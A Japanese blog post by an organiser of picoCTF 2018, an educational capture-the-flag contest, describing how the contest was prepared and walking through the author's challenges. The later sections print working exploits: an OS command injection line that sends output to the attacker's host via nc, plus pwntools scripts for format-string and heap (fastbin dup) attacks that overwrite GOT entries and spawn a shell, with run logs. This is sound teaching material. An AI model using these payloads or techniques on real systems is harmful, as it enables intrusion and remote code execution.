picoCTF 2018を主催した話

2018/9/28 12PM から 2018/10/12 12PM (EST) の336時間、picoCTF 2018が開催された。自分も会社にいたときに大会を何度か開催した経験があったし力になりたいという思いと、毎年1万人を超える競技者が参加するpicoCTFの進め方を吸収したいという思いがあり、Developerとして参画した。このエントリでは、どういう風に準備や運営を進めていき、どんな学びがあり、どんなことを感じたか、について触れようと思う。

picoCTFとは

picoCTFは、Middle school, およびHigh Schoolの学生を主な対象としており、セキュリティの世界に足を突っ込むキッカケとなるような体験を与えることを目的とした、教育に主眼を置いたCTFである。このため、難易度についても初歩的なもの(それこそncコマンドを使ってみる、ssh接続してみるといったもの)から始まり、様々なジャンルについて幅広く理解を深めながら進めていくことができる内容になっている。pwn偏重ではない。
また、通常のCTFとは違い336時間という比較的長い期間を設定することで、勉強して技術を習得しながら得点を伸ばしていけるよう構成している。さらにこの期間後も次のpicoCTFまではずっと問題を公開しているので、いつでも勉強しながらプレイすることができる。

難しい問題ばかりを出題し得点を競う形式ではないため、例えばBinary Exploitの問題も一部を除き基本的にはソースコードを公開していたり、問題攻略の方向性を相談できるオンライン掲示板を用意して質問にはPPPメンバーが即座に回答するなど、運営基盤も整っていて、初心者でも入りやすいCTFだと思っている。
ちなみに今年は大会期間中に27,000人以上が参加し、過去最高の参加者数を記録した(すごい)。

主催はCMUのINIやCyLab, PPPなどの組織、チームが主体となり運営している。
f:id:f_rin:20181014150538p:plain
そういえば今見て思ったけど、この4つ全部に所属しているので参加するのは必然だったのかもしれない。

問題作成

上記のとおり、教育目的の幅広い出題を目指すため、まずセキュリティにおける分野(General Skills, Cryptography, Reverse engineering, Web exploit, Binary exploit, Forengicなど)や、学ぶために必要な技術的要素、攻撃に必要なテクニックなどをブレイクダウンしながら細分化してリスト化し、それを満たすように問題を作っていくようにした。PPPで集まって話を始めたのは夏に入る前のまだ寒い時期だったため、かなりの時間を準備にかけていたと思う。結果として、このリストをすべて網羅したわけではないが、かなり幅広い出題範囲になったと感じている。

「Education」という目標を定め、トップダウンで細分化し、問題に落とし込んでいくというアプローチが、一貫した(と自分では思っている)内容に繋がった。

レビュー

もう一つの特徴として、レビューにも重点を置いていたことが特徴的だった。お互いの問題を解くことで自分では気づかない問題点に気付いたり、客観的な得点設定を行ったり、ローカルとの環境の差異を発見したりと、これも重要なフェーズであった。例えば、picoCTFインフラ上だとgccの最適化によりバイナリが想定通りに動作せず64bitのASLRガチャを当てる問題に成り下がっていたり、配布されてるソースコードにflagがベタ書きしてあって問題にすらなっていなかったり、意外と多くの修正要素を潰すことができた(もちろん本番でも多く見つかったわけだが)。

また、レビューを実際のCTF形式にしてチーム内で競うようにしたこともモチベーションを保てたこともよかった。基本的に秋学期の授業/研究の合間にみんなプレイテスティングを行うため、ジャンルを絞ったり空き時間を確保したりしながらではあるが、楽しんでレビューを行うことができた。
写真はプレイテスティング上位者がもらえる特典picoCTF Tシャツ(1位だった)。
f:id:f_rin:20181014154318j:plain:w400

作問ポリシー

CTFを作問するときのポリシーがある。これはplaid CTFとかの作問でも同じだが、難しいほど良い問題であるわけではないというもの。簡単なものほど良い問題だという考え方である。「簡単」というのは誰でも解けるという意味ではなくて、新しい創意工夫に溢れたアイデアになっているが、それを達成するのに膨大な前提知識や特殊なスキルを求めないという意味である(とはいえクリエイティビティや新規性のあるものは難しくなりがちではあるけど)。

やってみて感じたこと

人脈が広がる

これはpicoCTFに限らずにPPPの特徴でもあるんだけど、仲が良い。壁がないし、初めて会った人でも「そのPCのステッカー面白いじゃん」とか「キミ、今年のSECCON本戦にいたっしょ(いやいません)」とか「そのキーボードヤバくね?(無刻印のHHKBを使っていた)」とか言われてそこから会話が弾んですぐに打ち解けられる。打ち解けた後も、なんというか、ネイティブばかりの中にポツンといるときの特有のつらさみたいなものがなく、一緒にいて居心地が良い。参加できて本当に良かったなと思える要素の一つだと感じている。

モチベーションを保てた

みんなで盛り上げようぜという空気があって、みんな感謝の気持ちもしっかり持ってて、否定的な意見が少なく改善点を話し合えたり、上述のレビュー形式によって頑張るぜという気になったりして、モチベーションを保ったままフェードアウトせずに続けることができた。

楽しい!

例えばレビューフェーズで見つけたバグなどは、積極的に修正にもかかわらせてもらった。GCCクソがwwwとかSlackで言い合いながらバイナリを構成していったりExploit codeをアップデートしていくのは楽しかったし、周りのレベルが高いので問題修正のスピード感も気持ちよかった。

インフラがすごい

CTFインフラが整っている。これはこれで一つの完成形になっていると思う。たとえばpwnだとシェルを取らせるため権限管理などにシビアになる必要があるが、これはすべてインフラが担保してくれる。また、配布ファイルやフォルダ構成なども設定ファイルで指定できるし、vagrantイメージが公開されているため、スコアサーバも含めてローカルに再現でき、開発者間の環境差異も最小限にとどめることができた。

仲間との関係

日本人は自分ひとりだったけど、言語の壁を超えて対等に接してもらえて、本当に嬉しいなぁと、ふと思った。技術は言葉を超越する。

モチベーションの高い仲間に囲まれながらこんな貴重な経験をできることは誇りだな、と感じた。次回何かを開催するときには、この空気感をどう作り上げていけるのだろう、というところを意識してみたい。

問題紹介

せっかくなので、作ったものや自分がかかわったものなどを少し紹介しようと思う。(関わったの全部、とかレビューしたもの、となるとめちゃくちゃ書かなきゃいけないので割愛もする)

fancy-alive-monitoring

pingで好きなサーバに対して疎通確認ができるWebアプリケーションだが、OSコマンドインジェクションの脆弱性がある。攻略には2段階の工夫が必要である。

  1. Client sideチェックのバイパス
    このアプリでは入力値に対してクライアントサイドでのチェックとサーバサイドでのチェックを行っている。クライアントサイドのチェックはJSで行われているため、どうとでも回避することができる。さらに、サーバサイドのチェックにバグがあり、IPアドレスの後ろに好きな入力を許可してしまっている。ここでOSコマンドインジェクションを発動させることができる。
  2. Blind OS command Injection
    このアプリケーションはコマンド結果をそのまま出力する機構がない。ただ、validationチェック回避後に、例えば "127.0.0.1;sleep 5" のような入力を行うと、5秒間のスリープが入っていることがわかる。厳密にそんな言葉はないが、Blind OSコマンドインジェクションと言える。

アウトプットの手段はページ上にはないため、ncや/dev/tcp/などを使ってコマンド結果を待ち受けサーバに飛ばすなりコネクトバックシェルを張るなりすればFlagが手に入る。

127.0.0.1;ls|nc 自分のIP port

これだとpublicサーバを持っていない参加者に不利じゃないか?と思うかもしれないが、実はpicoCTFのシェルサーバ自体をリスナとして使うこともできるため、この点は大丈夫だと思う。

この問題は、近年増えている「インターネット通信は行うがディスプレイなどのアウトプットデバイスがない」ようなアプリ(例えばIoT機器とか)などの背景からインスパイアされて作成した問題である。コマンド結果がわからないから安心だぜ、ということはなく、そんな環境下でも脆弱性があると攻撃されてしまうんだぜ、というメッセージを込めた問題にした。

本番稼動中に問題点が2つあって、一つは「URL/flag.txt」とアクセスするとflagが表示されてしまうというアホみたいなショートカットがあったのですぐに潰した。最悪である。picoCTFインフラの権限設定方法の理解のミスが生んだ問題だった。2つ目は、本番環境がfork serverではなく(!!)リターンしないOSコマンドを発行されるとそのインスタンスからHTTPレスポンスが返らなくなるという香ばしいバグ。仕方がないので、長く息してるプロセスを定期的にkillする即席スクリプトを裏で回した。

echo back

echoooというFSBによってFlagをリークさせる問題があるため、じゃあ書き換えもやろうよということでecho-back. System関数に戻ることが自明だが、どうやって呼ぶのか、のところで少し頭を捻る。

解法はret2vulnを使い、もう一度関数に戻ってくる発想ができれば、入力文字制限も緩いためそれほど難しくはない。printfのバグの後にputs関数が呼ばれているため、vuln functionにリターンするようにputs.gotを書き換える。その後、printf.gotをsystem.pltに書き換えれば次の入力でsystem("入力値")が発動する。この上書き作業は2度に分けずに一度にやってしまっても良い。GOT overwriteできるところはpltだけではないよ、という意味をこめた。知っていると自明だけど、以前自分が勉強していたとき、これに気づいて「なるほど!」と思った経験を覚えているので題材にした。

#!/usr/bin/python
from pwn import *
from libformatstr import FormatStr
host, port = "localhost", 31337

context(arch='i386', os='linux')
filename = "./echoback"

elf = ELF(filename)

## overwrite the following addresses:
##     printf.got -> system.plt
##     puts.got   -> vuln
fsb_offset = 7
p = FormatStr()
p[elf.got['printf']] = elf.plt['system']
p[elf.got['puts']] = elf.symbols['vuln']

conn = remote(host, port)
conn.recvline()
conn.sendline(p.payload(fsb_offset))
conn.interactive()

Contacts

ソースコードは公開しないと思ってたが、さっき本番サイトを見たら公開されていた。この問題ではcontactという構造体を自由に作成/削除でき、構造体と一緒にnameとbioをheap上で管理できる。
古いデータがヒープ上に残ったままクリアされないため、double freeのバグを持っている。よって、重複したfastbinを持つfreed chunkのリンクリストを作ることができれば、狙ったメモリ上に新たなbioを確保して上書きできる。bioの入力サイズチェックが255バイト以下なので、0x70のサイズのチャンクを使って__malloc_hookを上書きできてしまい、あまり捻りがないなーと思ったがpicoCTF上はこのままにした(これはこれで有用なテクニックでもあるので)。ここではもう少しサイズチェックがキツイ場合(0x60以下など)の場合でも通用する方法を紹介する。

fastbinのunlinkについて考えてみると、fastbinは他の種類のbinに比べてunlink時のチェックが軽い。freeされるchunkはサイズごとにリンクリストで管理されているが、fastbinの場合、chunk->fd->size があっているかどうかのチェックさえ通過できれば良い。さらに、このときの比較は、64bitマシンであっても4 bytesでの比較となる。つまり、0x20のサイズ比較は、 0x0000000000000020 で行われるわけではなく、4バイト分の 0x00000020 で行われる。今回はこの特性を利用してみる。GOTを見てみるといくつかはlibcのアドレスを指しているが、アドレス解決の仕組みの特性上、いくつかはpltを指しているものがある。さらにpltのアドレスは0x40XXXXである。つまり、0x40のチャンクサイズを使えばfastbin dupでGOT Overwriteができる。

当たり前だが__stack_chk_fail@gotやexit@gotは使われていないためpltを指している。つまり0x00000040が生きている。さらに__stack_chk_fail@gotはだいたいGOTの前のほうに存在するため、後方に書き換えられる関数が意外とある(個人的には大きめのサイズが確保できないときでも意外と使える手法だと思っている)。今回はここに着弾しstrdupをsystem関数に書き換えてみる。途中に存在する_IO_putc@gotを変なものに書き換えてしまうとRCEに到達するよりも前にSEGVが発生するため注意。

あとはdouble freeができるようアドレスを調整すればExploitが完成する。

#!/usr/bin/python
from pwn import *
context.arch = 'amd64'
p, u = pack, unpack
host, port = "localhost", 31337

def create_entry(name):
	conn.sendline("create " + name)
	conn.recvuntil("> ")

def add_bio(name, num, bio):
	conn.sendline("bio " + name)
	conn.sendlineafter("\n", str(num) + bio)
	conn.recvuntil("> ")

def del_entry(name):
	conn.sendline("delete " + name)
	conn.recvuntil("> ")

def leak_addr(target):
	conn.sendline("display")
	conn.recvuntil(target + " - ")
	leaked = u(conn.recv(8))
	conn.recvuntil("> ")
	return leaked

def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val))

e = ELF("./contacts")
lib = ELF("./libc.so.6")
libc_offset = 0x3c4b78
got_insert_into = e.got['__stack_chk_fail'] - 0x6       # The address -0x8 of the target size 0x00000040

if(len(sys.argv) == 2 and sys.argv[1] == 'r'):
	conn = remote(host, port)
else:
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
	conn = process("./contacts", env=env)

conn.recvuntil("> ")
log.success("prepare entries")
create_entry("reserved1")
create_entry("reserved2")
create_entry("adjust_addr")
create_entry("a")
add_bio("a", 255, "AAAAAAAA")
create_entry("b")
add_bio("b", 0x37, "BBBBBBBB")
del_entry("a")
create_entry("a")

log.success("leak libc information")
leaked_libc = leak_addr('a') & 0xffffffffffff

libc_base = leaked_libc - libc_offset
libc_system = libc_base + lib.symbols['system']
libc_IO_putc = libc_base + lib.symbols['_IO_putc']

dbg("leaked_libc")
dbg("libc_base")
dbg("libc_system")
dbg("libc_IO_putc")

log.success("leak heap information")
create_entry("c")
leaked_heap = leak_addr('a')
mask = 0xfffffff if leaked_heap & 0xfffffff < 0x3000000 else 0xffffff
leaked_heap &= mask
heap_base = leaked_heap - 0x1140
free_addr = heap_base + 0x1180

dbg("leaked_heap")
dbg("heap_base")
log.info("scheduling to free: 0x%x" % free_addr)

log.success("append data into scheduled area for fastbin dup")
create_entry("D"*0x37)

log.success("prepare for second arbitrary free")
create_entry("A")
create_entry("B")
create_entry("C")
create_entry("D")
add_bio("C", 255, "CCCCCCCC")
add_bio("D", 0x37, "DDDDDDDD")
del_entry("C")
create_entry("C")
create_entry("E")

log.success("put scheduled free area onto heap")
add_bio("a", 20, " " + p(next(e.search('display\x00'))) + p(free_addr & mask))	# "bio display" to free the area
add_bio("C", 20, " " + p(next(e.search('create\x00'))) + p(free_addr & mask))	# "bio create" to free the area

log.success("create duplicated fastbins list")
add_bio("display", -1, "")
del_entry("b")
add_bio("create", -1, "")

log.info("now fastbins list (size: 0x40) is:\n0x%x -> 0x%x -> 0x%x" % (free_addr-0x10, heap_base+0x1240, free_addr-0x10))

log.success("fastbin dup into GOT")
add_bio("reserved1", 0x37, " " + p(got_insert_into))
create_entry("A"*0x37)
create_entry("B"*0x37)

payload = "A"*6
payload += p(libc_IO_putc)	# not to break libc_IO_putc
payload += p(libc_system)
add_bio("reserved2", 0x37, " " + payload)

log.success("invoke system(\"sh\")")
conn.sendline("create sh")
conn.interactive()

これを走らせることでFlagが手に入る。

$ python contacts.py r
[*] '/home/user/contacts'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
    FORTIFY:  Enabled
[*] '/home/user/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to localhost on port 31337: Done
[+] prepare entries
[+] leak libc information
    -> leaked_libc: 0x7ff6c8845b78
    -> libc_base: 0x7ff6c8481000
    -> libc_system: 0x7ff6c84c6390
    -> libc_IO_putc: 0x7ff6c84f7450
[+] leak heap information
    -> leaked_heap: 0x1318140
    -> heap_base: 0x1317000
[*] scheduling to free: 0x1318180
[+] append data into scheduled area for fastbin dup
[+] prepare for second arbitrary free
[+] put scheduled free area onto heap
[+] create duplicated fastbins list
[*] now fastbins list (size: 0x40) is:
    0x1318170 -> 0x1318240 -> 0x1318170
[+] fastbin dup into GOT
[+] invoke system("sh")
[*] Switching to interactive mode
$ ls
contacts
flag.txt
libc.so.6
xinet_startup.sh
$

Cake

ちょっとcontactsとネタがかぶってるし「しまった」と思ったけど、これも紹介する。たぶん1,000点のマスターチャレンジより難しいんじゃないかと思う。これもfastbinのdouble freeからExploitに繋げる問題だが、今回確保できるチャンクは0x20のみであるため、難易度はこちらのほうが高い。ここで使っている構造体は以下のとおり。

struct shop {
	uint64_t sales;
	uint64_t customers;
	cake *cakes[16];
};

struct cake {
	uint64_t price;
	char name[8];
};


結論から言うと、cakes[1]のアドレス部分に、cakes[0]のアドレスを指す新たなcakeをmallocすることができれば、nameを入力したときにpriceに該当するアドレス(つまりcakeオブジェクトのポインタ)を好きな値に上書きでき、その後のpriceの入力で任意メモリをOverwriteできる。fastbindup into bssを駆使しながらlibcとheapのアドレスをリークし、最終的にshop.cakes[1]にcakeを確保することを目指す。

shop構造体の中のcustomersは自由に操作して0x20を作成できるため、ここをfastbin dupの拠点にする。fastbin dupを行いながら、次のcakeを作ってもSEGVが起こらないように、fake chunkが途切れないよう登録していく。その過程でlibc leakとGOT overwriteによるone gadgetの登録を行う。

最後のcakeのメモリ確保直後のメモリマップはこんな感じ。shop structureの0x6030f8にcakeが確保され、その時に確保されているcakeのアドレスは0x6030f0である。この状態では、cake->name, cake->price(というかcakes[1]構造体のアドレス)とがoverwrapしている。

gdb-peda$ x/16gx 0x6030e0
0x6030e0 <shop>:	0x0000000000605020	0x0000000000000020
0x6030f0 <shop+16>:	0x0000000000605040	0x00000000006030f0 ←コレがcakeのallocation先。確保したcakeのnameでもありcake[1]のアドレスでもある。
0x603100 <shop+32>:	0x0000000000605020	0x0000000000605040
0x603110 <shop+48>:	0x0000000000605020	0x00000000006030f0

ここで、nameの入力でまずcakes[1]のポインタ(つまり自分自身の構造体のポインタ)の向き先をGOTに変え、priceの入力で任意のアドレスに変更する。
ここに掲載している例ではprintfのGOTをone gadgetに書き換えている。

あとはprintfが呼ばれるところまでinstructionを進めれば新規にケーキを作ろうとしたときに自動的にshellが起動する。

  • shop構造体が管理するメモリのアドレス
  • mallocで返ってくるcake構造体のアドレス

の2つを分けて考えてアドレス調整をしないとややこしいかもしれない。

#!/usr/bin/python
from pwn import *
context.arch = 'amd64'
p, u = pack, unpack
host, port = "localhost", 31337

def make(name, price, shell=False):
	conn.sendline("M")
	conn.sendlineafter("> ", name)
	conn.sendlineafter("> ", str(price))
	if shell:
		conn.interactive()
		return
	conn.recvuntil("> ")

def serve(index):
	conn.sendline("S")
	conn.sendlineafter("> ", str(index))
	conn.recvuntil("> ")

def inspect(index):
	conn.sendline("I")
	conn.sendlineafter("> ", str(index))
	name = conn.recvuntil(" is", drop=True)
	conn.recvuntil("$")
	price = int(conn.recvuntil("\n", drop=True))
	conn.recvuntil("> ")
	return name, price

def create_0x20():
	log.success("create chunk size 0x20 for fastbin dup into bss")
	while True:
		conn.sendline("W")
		conn.recvuntil("and have ")
		customers = int(conn.recvuntil(" ", drop=True))
		conn.recvuntil("> ")
		if customers >= 0x20:
			log.info("Now customers: 0x%x" % customers)
			break

def dbg(val): print "\t-> %s: 0x%x" % (val, eval(val))

e = ELF("./cake")
libc_offset = 0x71290
shop_addr = 0x6030e0	# The address used to fastbin dup with 0x20
free_got = e.got['free']
printf_got = e.got['printf']
one_gadget_rax0 = 0x45216

if(len(sys.argv) == 2 and sys.argv[1] == 'r'):
	conn = remote(host, port)
else:
	env = {"LD_PRELOAD": os.path.join(os.getcwd(), "./libc.so.6")}
	conn = process("./cake", env=env)

conn.recvuntil("> ")
log.success("double free")
make("A", 0)
make("B", 0)
serve(0)
serve(1)
serve(0)

log.success("leak heap address")
n, leaked_heap = inspect(0)
dbg("leaked_heap")

make("C", shop_addr)	# set the heap chunk
make("D", 0)
make("C", 0)
create_0x20()
make(p(free_got), leaked_heap)	# fastbin dup into bss

log.success("leak libc address")
leaked_libc, pr = inspect(1)
leaked_libc = u(leaked_libc.ljust(8, '\x00'))
libc_base = leaked_libc - libc_offset
one_gadget = libc_base + one_gadget_rax0

dbg("leaked_libc")
dbg("libc_base")
dbg("one_gadget")

log.success("double free")
serve(2)
serve(3)
serve(2)
make("E", shop_addr)	# set the heap chunk
make("F", shop_addr)	# for the last allocation
make("E", 0)
create_0x20()

make(p(0), 0)	# fastbin dup into bss, the second next allocation (shop.cakes[1]) will be: cake->name == cake structure addr
make("deadbeef", 0)	# adjustment (cakes[0])

log.success("name (== cake structure) -> printf.got, price -> one gadget")
make(p(printf_got), one_gadget, shell=True)	# overwrite got

実行するとShellが起動。

$ python cake.py r
[*] '/home/user/cake'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RPATH:    './'
[+] Opening connection to localhost on port 31337: Done
[+] double free
[+] leak heap address
    -> leaked_heap: 0x1b84030
[+] create chunk size 0x20 for fastbin dup into bss
[*] Now customers: 0x20
[+] leak libc address
    -> leaked_libc: 0x7f9c8393f290
    -> libc_base: 0x7f9c838ce000
    -> one_gadget: 0x7f9c83913216
[+] double free
[+] create chunk size 0x20 for fastbin dup into bss
[*] Now customers: 0x20
[+] name (== cake structure) -> printf.got, price -> one gadget
[*] Switching to interactive mode
$ ls
cake
flag.txt
libc.so.6
xinet_startup.sh
$

おわりに

今までの経験の比にならない規模のコンテストを主催する経験ができた。質問掲示板にはひっきりなしに質問が届くし、見つけた問題点を見つけては修正方法を考えて適用して、というサイクルもなかなか大変ではあったけど、チームメンバーと相談したりしながら運営を進めていくことはとても楽しく、CMUの試験や課題に追われながらも充実した期間を過ごすことができた。

あと、自分の会社のグループの技術者SlackにCoding Challenge部屋があるんだけど、そこが2週間限定でpicoCTFチャレンジになってて、多くの人が真剣に取り組んでくれていたことがとても嬉しかった。

もし今年picoCTFに参加して、問題を解いて、少しでも学びがあったと感じてくれた人がいたならば、自分にとってこれほど嬉しいことはない。関わってきて良かったなと思える。
これから上がってくるであろうWrite upにも期待しつつ、またこれ以外にも関わっている問題も多くあるため、しばらくはインターネットを巡回しながら回想に浸ろうと思う。